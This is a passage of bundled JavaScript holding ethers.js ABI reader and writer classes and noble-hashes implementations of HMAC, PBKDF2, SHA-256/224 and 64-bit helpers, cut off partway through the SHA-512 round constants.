WordSize) {\n bytes = getBytesCopy(concat([Padding.slice(bytes.length % WordSize), bytes]));\n }\n return bytes;\n}\n/**\n * @_ignore\n */\nexport class Coder {\n // The coder name:\n // - address, uint256, tuple, array, etc.\n name;\n // The fully expanded type, including composite types:\n // - address, uint256, tuple(address,bytes), uint256[3][4][], etc.\n type;\n // The localName bound in the signature, in this example it is \"baz\":\n // - tuple(address foo, uint bar) baz\n localName;\n // Whether this type is dynamic:\n // - Dynamic: bytes, string, address[], tuple(boolean[]), etc.\n // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8)\n dynamic;\n constructor(name, type, localName, dynamic) {\n defineProperties(this, { name, type, localName, dynamic }, {\n name: \"string\", type: \"string\", localName: \"string\", dynamic: \"boolean\"\n });\n }\n _throwError(message, value) {\n assertArgument(false, message, this.localName, value);\n }\n}\n/**\n * @_ignore\n */\nexport class Writer {\n // An array of WordSize lengthed objects to concatenation\n #data;\n #dataLength;\n constructor() {\n this.#data = [];\n this.#dataLength = 0;\n }\n get data() {\n return concat(this.#data);\n }\n get length() { return this.#dataLength; }\n #writeData(data) {\n this.#data.push(data);\n this.#dataLength += data.length;\n return data.length;\n }\n appendWriter(writer) {\n return this.#writeData(getBytesCopy(writer.data));\n }\n // Arrayish item; pad on the right to *nearest* WordSize\n writeBytes(value) {\n let bytes = getBytesCopy(value);\n const paddingOffset = bytes.length % WordSize;\n if (paddingOffset) {\n bytes = getBytesCopy(concat([bytes, Padding.slice(paddingOffset)]));\n }\n return this.#writeData(bytes);\n }\n // Numeric item; pad on the left *to* WordSize\n writeValue(value) {\n return this.#writeData(getValue(value));\n }\n // Inserts a numeric place-holder, returning a callback that can\n // be used to asjust the value later\n writeUpdatableValue() {\n const offset = this.#data.length;\n this.#data.push(Padding);\n this.#dataLength += WordSize;\n return (value) => {\n this.#data[offset] = getValue(value);\n };\n }\n}\n/**\n * @_ignore\n */\nexport class Reader {\n // Allows incomplete unpadded data to be read; otherwise an error\n // is raised if attempting to overrun the buffer. This is required\n // to deal with an old Solidity bug, in which event data for\n // external (not public thoguh) was tightly packed.\n allowLoose;\n #data;\n #offset;\n #bytesRead;\n #parent;\n #maxInflation;\n constructor(data, allowLoose, maxInflation) {\n defineProperties(this, { allowLoose: !!allowLoose });\n this.#data = getBytesCopy(data);\n this.#bytesRead = 0;\n this.#parent = null;\n this.#maxInflation = (maxInflation != null) ? maxInflation : 1024;\n this.#offset = 0;\n }\n get data() { return hexlify(this.#data); }\n get dataLength() { return this.#data.length; }\n get consumed() { return this.#offset; }\n get bytes() { return new Uint8Array(this.#data); }\n #incrementBytesRead(count) {\n if (this.#parent) {\n return this.#parent.#incrementBytesRead(count);\n }\n this.#bytesRead += count;\n // Check for excessive inflation (see: #4537)\n assert(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\\/github.com/ethers-io/ethers.js/issues/4537 )`, \"BUFFER_OVERRUN\", {\n buffer: getBytesCopy(this.#data), offset: this.#offset,\n length: count, info: {\n bytesRead: this.#bytesRead,\n dataLength: this.dataLength\n }\n });\n }\n #peekBytes(offset, length, loose) {\n let alignedLength = Math.ceil(length / WordSize) * WordSize;\n if (this.#offset + alignedLength > this.#data.length) {\n if (this.allowLoose && loose && this.#offset + length <= this.#data.length) {\n alignedLength = length;\n }\n else {\n assert(false, \"data out-of-bounds\", \"BUFFER_OVERRUN\", {\n buffer: getBytesCopy(this.#data),\n length: this.#data.length,\n offset: this.#offset + alignedLength\n });\n }\n }\n return this.#data.slice(this.#offset, this.#offset + alignedLength);\n }\n // Create a sub-reader with the same underlying data, but offset\n subReader(offset) {\n const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation);\n reader.#parent = this;\n return reader;\n }\n // Read bytes\n readBytes(length, loose) {\n let bytes = this.#peekBytes(0, length, !!loose);\n this.#incrementBytesRead(length);\n this.#offset += bytes.length;\n // @TODO: Make sure the length..end bytes are all 0?\n return bytes.slice(0, length);\n }\n // Read a numeric values\n readValue() {\n return toBigInt(this.readBytes(WordSize));\n }\n readIndex() {\n return toNumber(this.readBytes(WordSize));\n }\n}\n//# sourceMappingURL=abstract-coder.js.map","function number(n) {\n if (!Number.isSafeInteger(n) || n < 0)\n throw new Error(`Wrong positive integer: ${n}`);\n}\nfunction bool(b) {\n if (typeof b !== 'boolean')\n throw new Error(`Expected boolean, not ${b}`);\n}\nfunction bytes(b, ...lengths) {\n if (!(b instanceof Uint8Array))\n throw new Error('Expected Uint8Array');\n if (lengths.length > 0 && !lengths.includes(b.length))\n throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`);\n}\nfunction hash(hash) {\n if (typeof hash !== 'function' || typeof hash.create !== 'function')\n throw new Error('Hash should be wrapped by utils.wrapConstructor');\n number(hash.outputLen);\n number(hash.blockLen);\n}\nfunction exists(instance, checkFinished = true) {\n if (instance.destroyed)\n throw new Error('Hash instance has been destroyed');\n if (checkFinished && instance.finished)\n throw new Error('Hash#digest() has already been called');\n}\nfunction output(out, instance) {\n bytes(out);\n const min = instance.outputLen;\n if (out.length < min) {\n throw new Error(`digestInto() expects output buffer of length at least ${min}`);\n }\n}\nexport { number, bool, bytes, hash, exists, output };\nconst assert = { number, bool, bytes, hash, exists, output };\nexport default assert;\n//# sourceMappingURL=_assert.js.map","export const crypto = typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined;\n//# sourceMappingURL=crypto.js.map","/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+.\n// node.js versions earlier than v19 don't declare it in global scope.\n// For node.js, package.json#exports field mapping rewrites import\n// from `crypto` to `cryptoNode`, which imports native module.\n// Makes the utils un-importable in browsers without a bundler.\n// Once node.js 18 is deprecated, we can just drop the import.\nimport { crypto } from '@noble/hashes/crypto';\nconst u8a = (a) => a instanceof Uint8Array;\n// Cast array to different type\nexport const u8 = (arr) => new Uint8Array(arr.buffer, arr.byteOffset, arr.byteLength);\nexport const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4));\n// Cast array to view\nexport const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength);\n// The rotate right (circular right shift) operation for uint32\nexport const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift);\n// big-endian hardware is rare. Just in case someone still decides to run hashes:\n// early-throw an error because we don't support BE yet.\nexport const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44;\nif (!isLE)\n throw new Error('Non little-endian hardware is not supported');\nconst hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0'));\n/**\n * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123'\n */\nexport function bytesToHex(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n // pre-caching improves the speed 6x\n let hex = '';\n for (let i = 0; i < bytes.length; i++) {\n hex += hexes[bytes[i]];\n }\n return hex;\n}\n/**\n * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23])\n */\nexport function hexToBytes(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n const len = hex.length;\n if (len % 2)\n throw new Error('padded hex string expected, got unpadded hex of length ' + len);\n const array = new Uint8Array(len / 2);\n for (let i = 0; i < array.length; i++) {\n const j = i * 2;\n const hexByte = hex.slice(j, j + 2);\n const byte = Number.parseInt(hexByte, 16);\n if (Number.isNaN(byte) || byte < 0)\n throw new Error('Invalid byte sequence');\n array[i] = byte;\n }\n return array;\n}\n// There is no setImmediate in browser and setTimeout is slow.\n// call of async fn will return Promise, which will be fullfiled only on\n// next scheduler queue processing step and this is exactly what we need.\nexport const nextTick = async () => { };\n// Returns control to thread each 'tick' ms to avoid blocking\nexport async function asyncLoop(iters, tick, cb) {\n let ts = Date.now();\n for (let i = 0; i < iters; i++) {\n cb(i);\n // Date.now() is not monotonic, so in case if clock goes backwards we return return control too\n const diff = Date.now() - ts;\n if (diff >= 0 && diff < tick)\n continue;\n await nextTick();\n ts += diff;\n }\n}\n/**\n * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99])\n */\nexport function utf8ToBytes(str) {\n if (typeof str !== 'string')\n throw new Error(`utf8ToBytes expected string, got ${typeof str}`);\n return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809\n}\n/**\n * Normalizes (non-hex) string or Uint8Array to Uint8Array.\n * Warning: when Uint8Array is passed, it would NOT get copied.\n * Keep in mind for future mutable operations.\n */\nexport function toBytes(data) {\n if (typeof data === 'string')\n data = utf8ToBytes(data);\n if (!u8a(data))\n throw new Error(`expected Uint8Array, got ${typeof data}`);\n return data;\n}\n/**\n * Copies several Uint8Arrays into one.\n */\nexport function concatBytes(...arrays) {\n const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0));\n let pad = 0; // walk through each item, ensure they have proper type\n arrays.forEach((a) => {\n if (!u8a(a))\n throw new Error('Uint8Array expected');\n r.set(a, pad);\n pad += a.length;\n });\n return r;\n}\n// For runtime check if class implements interface\nexport class Hash {\n // Safe version that clones internal state\n clone() {\n return this._cloneInto();\n }\n}\nconst toStr = {}.toString;\nexport function checkOpts(defaults, opts) {\n if (opts !== undefined && toStr.call(opts) !== '[object Object]')\n throw new Error('Options should be object or undefined');\n const merged = Object.assign(defaults, opts);\n return merged;\n}\nexport function wrapConstructor(hashCons) {\n const hashC = (msg) => hashCons().update(toBytes(msg)).digest();\n const tmp = hashCons();\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = () => hashCons();\n return hashC;\n}\nexport function wrapConstructorWithOpts(hashCons) {\n const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest();\n const tmp = hashCons({});\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = (opts) => hashCons(opts);\n return hashC;\n}\nexport function wrapXOFConstructorWithOpts(hashCons) {\n const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest();\n const tmp = hashCons({});\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = (opts) => hashCons(opts);\n return hashC;\n}\n/**\n * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS.\n */\nexport function randomBytes(bytesLength = 32) {\n if (crypto && typeof crypto.getRandomValues === 'function') {\n return crypto.getRandomValues(new Uint8Array(bytesLength));\n }\n throw new Error('crypto.getRandomValues must be defined');\n}\n//# sourceMappingURL=utils.js.map","import { hash as assertHash, bytes as assertBytes, exists as assertExists } from './_assert.js';\nimport { Hash, toBytes } from './utils.js';\n// HMAC (RFC 2104)\nexport class HMAC extends Hash {\n constructor(hash, _key) {\n super();\n this.finished = false;\n this.destroyed = false;\n assertHash(hash);\n const key = toBytes(_key);\n this.iHash = hash.create();\n if (typeof this.iHash.update !== 'function')\n throw new Error('Expected instance of class which extends utils.Hash');\n this.blockLen = this.iHash.blockLen;\n this.outputLen = this.iHash.outputLen;\n const blockLen = this.blockLen;\n const pad = new Uint8Array(blockLen);\n // blockLen can be bigger than outputLen\n pad.set(key.length > blockLen ? hash.create().update(key).digest() : key);\n for (let i = 0; i < pad.length; i++)\n pad[i] ^= 0x36;\n this.iHash.update(pad);\n // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone\n this.oHash = hash.create();\n // Undo internal XOR && apply outer XOR\n for (let i = 0; i < pad.length; i++)\n pad[i] ^= 0x36 ^ 0x5c;\n this.oHash.update(pad);\n pad.fill(0);\n }\n update(buf) {\n assertExists(this);\n this.iHash.update(buf);\n return this;\n }\n digestInto(out) {\n assertExists(this);\n assertBytes(out, this.outputLen);\n this.finished = true;\n this.iHash.digestInto(out);\n this.oHash.update(out);\n this.oHash.digestInto(out);\n this.destroy();\n }\n digest() {\n const out = new Uint8Array(this.oHash.outputLen);\n this.digestInto(out);\n return out;\n }\n _cloneInto(to) {\n // Create new instance without calling constructor since key already in state and we don't know it.\n to || (to = Object.create(Object.getPrototypeOf(this), {}));\n const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this;\n to = to;\n to.finished = finished;\n to.destroyed = destroyed;\n to.blockLen = blockLen;\n to.outputLen = outputLen;\n to.oHash = oHash._cloneInto(to.oHash);\n to.iHash = iHash._cloneInto(to.iHash);\n return to;\n }\n destroy() {\n this.destroyed = true;\n this.oHash.destroy();\n this.iHash.destroy();\n }\n}\n/**\n * HMAC: RFC2104 message authentication code.\n * @param hash - function that would be used e.g. sha256\n * @param key - message key\n * @param message - message data\n */\nexport const hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest();\nhmac.create = (hash, key) => new HMAC(hash, key);\n//# sourceMappingURL=hmac.js.map","import { hash as assertHash, number as assertNumber } from './_assert.js';\nimport { hmac } from './hmac.js';\nimport { createView, toBytes, checkOpts, asyncLoop } from './utils.js';\n// Common prologue and epilogue for sync/async functions\nfunction pbkdf2Init(hash, _password, _salt, _opts) {\n assertHash(hash);\n const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts);\n const { c, dkLen, asyncTick } = opts;\n assertNumber(c);\n assertNumber(dkLen);\n assertNumber(asyncTick);\n if (c < 1)\n throw new Error('PBKDF2: iterations (c) should be >= 1');\n const password = toBytes(_password);\n const salt = toBytes(_salt);\n // DK = PBKDF2(PRF, Password, Salt, c, dkLen);\n const DK = new Uint8Array(dkLen);\n // U1 = PRF(Password, Salt + INT_32_BE(i))\n const PRF = hmac.create(hash, password);\n const PRFSalt = PRF._cloneInto().update(salt);\n return { c, dkLen, asyncTick, DK, PRF, PRFSalt };\n}\nfunction pbkdf2Output(PRF, PRFSalt, DK, prfW, u) {\n PRF.destroy();\n PRFSalt.destroy();\n if (prfW)\n prfW.destroy();\n u.fill(0);\n return DK;\n}\n/**\n * PBKDF2-HMAC: RFC 2898 key derivation function\n * @param hash - hash function that would be used e.g. sha256\n * @param password - password from which a derived key is generated\n * @param salt - cryptographic salt\n * @param opts - {c, dkLen} where c is work factor and dkLen is output message size\n */\nexport function pbkdf2(hash, password, salt, opts) {\n const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts);\n let prfW; // Working copy\n const arr = new Uint8Array(4);\n const view = createView(arr);\n const u = new Uint8Array(PRF.outputLen);\n // DK = T1 + T2 + ⋯ + Tdklen/hlen\n for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) {\n // Ti = F(Password, Salt, c, i)\n const Ti = DK.subarray(pos, pos + PRF.outputLen);\n view.setInt32(0, ti, false);\n // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc\n // U1 = PRF(Password, Salt + INT_32_BE(i))\n (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u);\n Ti.set(u.subarray(0, Ti.length));\n for (let ui = 1; ui < c; ui++) {\n // Uc = PRF(Password, Uc−1)\n PRF._cloneInto(prfW).update(u).digestInto(u);\n for (let i = 0; i < Ti.length; i++)\n Ti[i] ^= u[i];\n }\n }\n return pbkdf2Output(PRF, PRFSalt, DK, prfW, u);\n}\nexport async function pbkdf2Async(hash, password, salt, opts) {\n const { c, dkLen, asyncTick, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts);\n let prfW; // Working copy\n const arr = new Uint8Array(4);\n const view = createView(arr);\n const u = new Uint8Array(PRF.outputLen);\n // DK = T1 + T2 + ⋯ + Tdklen/hlen\n for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) {\n // Ti = F(Password, Salt, c, i)\n const Ti = DK.subarray(pos, pos + PRF.outputLen);\n view.setInt32(0, ti, false);\n // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc\n // U1 = PRF(Password, Salt + INT_32_BE(i))\n (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u);\n Ti.set(u.subarray(0, Ti.length));\n await asyncLoop(c - 1, asyncTick, () => {\n // Uc = PRF(Password, Uc−1)\n PRF._cloneInto(prfW).update(u).digestInto(u);\n for (let i = 0; i < Ti.length; i++)\n Ti[i] ^= u[i];\n });\n }\n return pbkdf2Output(PRF, PRFSalt, DK, prfW, u);\n}\n//# sourceMappingURL=pbkdf2.js.map","import { exists, output } from './_assert.js';\nimport { Hash, createView, toBytes } from './utils.js';\n// Polyfill for Safari 14\nfunction setBigUint64(view, byteOffset, value, isLE) {\n if (typeof view.setBigUint64 === 'function')\n return view.setBigUint64(byteOffset, value, isLE);\n const _32n = BigInt(32);\n const _u32_max = BigInt(0xffffffff);\n const wh = Number((value >> _32n) & _u32_max);\n const wl = Number(value & _u32_max);\n const h = isLE ? 4 : 0;\n const l = isLE ? 0 : 4;\n view.setUint32(byteOffset + h, wh, isLE);\n view.setUint32(byteOffset + l, wl, isLE);\n}\n// Base SHA2 class (RFC 6234)\nexport class SHA2 extends Hash {\n constructor(blockLen, outputLen, padOffset, isLE) {\n super();\n this.blockLen = blockLen;\n this.outputLen = outputLen;\n this.padOffset = padOffset;\n this.isLE = isLE;\n this.finished = false;\n this.length = 0;\n this.pos = 0;\n this.destroyed = false;\n this.buffer = new Uint8Array(blockLen);\n this.view = createView(this.buffer);\n }\n update(data) {\n exists(this);\n const { view, buffer, blockLen } = this;\n data = toBytes(data);\n const len = data.length;\n for (let pos = 0; pos < len;) {\n const take = Math.min(blockLen - this.pos, len - pos);\n // Fast path: we have at least one block in input, cast it to view and process\n if (take === blockLen) {\n const dataView = createView(data);\n for (; blockLen <= len - pos; pos += blockLen)\n this.process(dataView, pos);\n continue;\n }\n buffer.set(data.subarray(pos, pos + take), this.pos);\n this.pos += take;\n pos += take;\n if (this.pos === blockLen) {\n this.process(view, 0);\n this.pos = 0;\n }\n }\n this.length += data.length;\n this.roundClean();\n return this;\n }\n digestInto(out) {\n exists(this);\n output(out, this);\n this.finished = true;\n // Padding\n // We can avoid allocation of buffer for padding completely if it\n // was previously not allocated here. But it won't change performance.\n const { buffer, view, blockLen, isLE } = this;\n let { pos } = this;\n // append the bit '1' to the message\n buffer[pos++] = 0b10000000;\n this.buffer.subarray(pos).fill(0);\n // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again\n if (this.padOffset > blockLen - pos) {\n this.process(view, 0);\n pos = 0;\n }\n // Pad until full block byte with zeros\n for (let i = pos; i < blockLen; i++)\n buffer[i] = 0;\n // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that\n // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen.\n // So we just write lowest 64 bits of that value.\n setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE);\n this.process(view, 0);\n const oview = createView(out);\n const len = this.outputLen;\n // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT\n if (len % 4)\n throw new Error('_sha2: outputLen should be aligned to 32bit');\n const outLen = len / 4;\n const state = this.get();\n if (outLen > state.length)\n throw new Error('_sha2: outputLen bigger than state');\n for (let i = 0; i < outLen; i++)\n oview.setUint32(4 * i, state[i], isLE);\n }\n digest() {\n const { buffer, outputLen } = this;\n this.digestInto(buffer);\n const res = buffer.slice(0, outputLen);\n this.destroy();\n return res;\n }\n _cloneInto(to) {\n to || (to = new this.constructor());\n to.set(...this.get());\n const { blockLen, buffer, length, finished, destroyed, pos } = this;\n to.length = length;\n to.pos = pos;\n to.finished = finished;\n to.destroyed = destroyed;\n if (length % blockLen)\n to.buffer.set(buffer);\n return to;\n }\n}\n//# sourceMappingURL=_sha2.js.map","import { SHA2 } from './_sha2.js';\nimport { rotr, wrapConstructor } from './utils.js';\n// SHA2-256 need to try 2^128 hashes to execute birthday attack.\n// BTC network is doing 2^67 hashes/sec as per early 2023.\n// Choice: a ? b : c\nconst Chi = (a, b, c) => (a & b) ^ (~a & c);\n// Majority function, true if any two inpust is true\nconst Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c);\n// Round constants:\n// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311)\n// prettier-ignore\nconst SHA256_K = /* @__PURE__ */ new Uint32Array([\n 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n]);\n// Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19):\n// prettier-ignore\nconst IV = /* @__PURE__ */ new Uint32Array([\n 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19\n]);\n// Temporary buffer, not used to store anything between runs\n// Named this way because it matches specification.\nconst SHA256_W = /* @__PURE__ */ new Uint32Array(64);\nclass SHA256 extends SHA2 {\n constructor() {\n super(64, 32, 8, false);\n // We cannot use array here since array allows indexing by variable\n // which means optimizer/compiler cannot use registers.\n this.A = IV[0] | 0;\n this.B = IV[1] | 0;\n this.C = IV[2] | 0;\n this.D = IV[3] | 0;\n this.E = IV[4] | 0;\n this.F = IV[5] | 0;\n this.G = IV[6] | 0;\n this.H = IV[7] | 0;\n }\n get() {\n const { A, B, C, D, E, F, G, H } = this;\n return [A, B, C, D, E, F, G, H];\n }\n // prettier-ignore\n set(A, B, C, D, E, F, G, H) {\n this.A = A | 0;\n this.B = B | 0;\n this.C = C | 0;\n this.D = D | 0;\n this.E = E | 0;\n this.F = F | 0;\n this.G = G | 0;\n this.H = H | 0;\n }\n process(view, offset) {\n // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array\n for (let i = 0; i < 16; i++, offset += 4)\n SHA256_W[i] = view.getUint32(offset, false);\n for (let i = 16; i < 64; i++) {\n const W15 = SHA256_W[i - 15];\n const W2 = SHA256_W[i - 2];\n const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ (W15 >>> 3);\n const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ (W2 >>> 10);\n SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0;\n }\n // Compression function main loop, 64 rounds\n let { A, B, C, D, E, F, G, H } = this;\n for (let i = 0; i < 64; i++) {\n const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25);\n const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0;\n const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22);\n const T2 = (sigma0 + Maj(A, B, C)) | 0;\n H = G;\n G = F;\n F = E;\n E = (D + T1) | 0;\n D = C;\n C = B;\n B = A;\n A = (T1 + T2) | 0;\n }\n // Add the compressed chunk to the current hash value\n A = (A + this.A) | 0;\n B = (B + this.B) | 0;\n C = (C + this.C) | 0;\n D = (D + this.D) | 0;\n E = (E + this.E) | 0;\n F = (F + this.F) | 0;\n G = (G + this.G) | 0;\n H = (H + this.H) | 0;\n this.set(A, B, C, D, E, F, G, H);\n }\n roundClean() {\n SHA256_W.fill(0);\n }\n destroy() {\n this.set(0, 0, 0, 0, 0, 0, 0, 0);\n this.buffer.fill(0);\n }\n}\n// Constants from https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\nclass SHA224 extends SHA256 {\n constructor() {\n super();\n this.A = 0xc1059ed8 | 0;\n this.B = 0x367cd507 | 0;\n this.C = 0x3070dd17 | 0;\n this.D = 0xf70e5939 | 0;\n this.E = 0xffc00b31 | 0;\n this.F = 0x68581511 | 0;\n this.G = 0x64f98fa7 | 0;\n this.H = 0xbefa4fa4 | 0;\n this.outputLen = 28;\n }\n}\n/**\n * SHA2-256 hash function\n * @param message - data that would be hashed\n */\nexport const sha256 = /* @__PURE__ */ wrapConstructor(() => new SHA256());\nexport const sha224 = /* @__PURE__ */ wrapConstructor(() => new SHA224());\n//# sourceMappingURL=sha256.js.map","const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1);\nconst _32n = /* @__PURE__ */ BigInt(32);\n// We are not using BigUint64Array, because they are extremely slow as per 2022\nfunction fromBig(n, le = false) {\n if (le)\n return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) };\n return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 };\n}\nfunction split(lst, le = false) {\n let Ah = new Uint32Array(lst.length);\n let Al = new Uint32Array(lst.length);\n for (let i = 0; i < lst.length; i++) {\n const { h, l } = fromBig(lst[i], le);\n [Ah[i], Al[i]] = [h, l];\n }\n return [Ah, Al];\n}\nconst toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0);\n// for Shift in [0, 32)\nconst shrSH = (h, _l, s) => h >>> s;\nconst shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s);\n// Right rotate for Shift in [1, 32)\nconst rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s));\nconst rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s);\n// Right rotate for Shift in (32, 64), NOTE: 32 is special case.\nconst rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32));\nconst rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s));\n// Right rotate for shift===32 (just swaps l&h)\nconst rotr32H = (_h, l) => l;\nconst rotr32L = (h, _l) => h;\n// Left rotate for Shift in [1, 32)\nconst rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s));\nconst rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s));\n// Left rotate for Shift in (32, 64), NOTE: 32 is special case.\nconst rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s));\nconst rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s));\n// JS uses 32-bit signed integers for bitwise operations which means we cannot\n// simple take carry out of low bit sum by shift, we need to use division.\nfunction add(Ah, Al, Bh, Bl) {\n const l = (Al >>> 0) + (Bl >>> 0);\n return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 };\n}\n// Addition with more than 2 elements\nconst add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0);\nconst add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0;\nconst add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0);\nconst add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0;\nconst add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0);\nconst add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0;\n// prettier-ignore\nexport { fromBig, split, toBig, shrSH, shrSL, rotrSH, rotrSL, rotrBH, rotrBL, rotr32H, rotr32L, rotlSH, rotlSL, rotlBH, rotlBL, add, add3L, add3H, add4L, add4H, add5H, add5L, };\n// prettier-ignore\nconst u64 = {\n fromBig, split, toBig,\n shrSH, shrSL,\n rotrSH, rotrSL, rotrBH, rotrBL,\n rotr32H, rotr32L,\n rotlSH, rotlSL, rotlBH, rotlBL,\n add, add3L, add3H, add4L, add4H, add5H, add5L,\n};\nexport default u64;\n//# sourceMappingURL=_u64.js.map","import { SHA2 } from './_sha2.js';\nimport u64 from './_u64.js';\nimport { wrapConstructor } from './utils.js';\n// Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409):\n// prettier-ignore\nconst [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => u64.split([\n '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc',\n '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118',\n '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2',\n '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694',\n '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65',\n '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5',\n '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4',\n 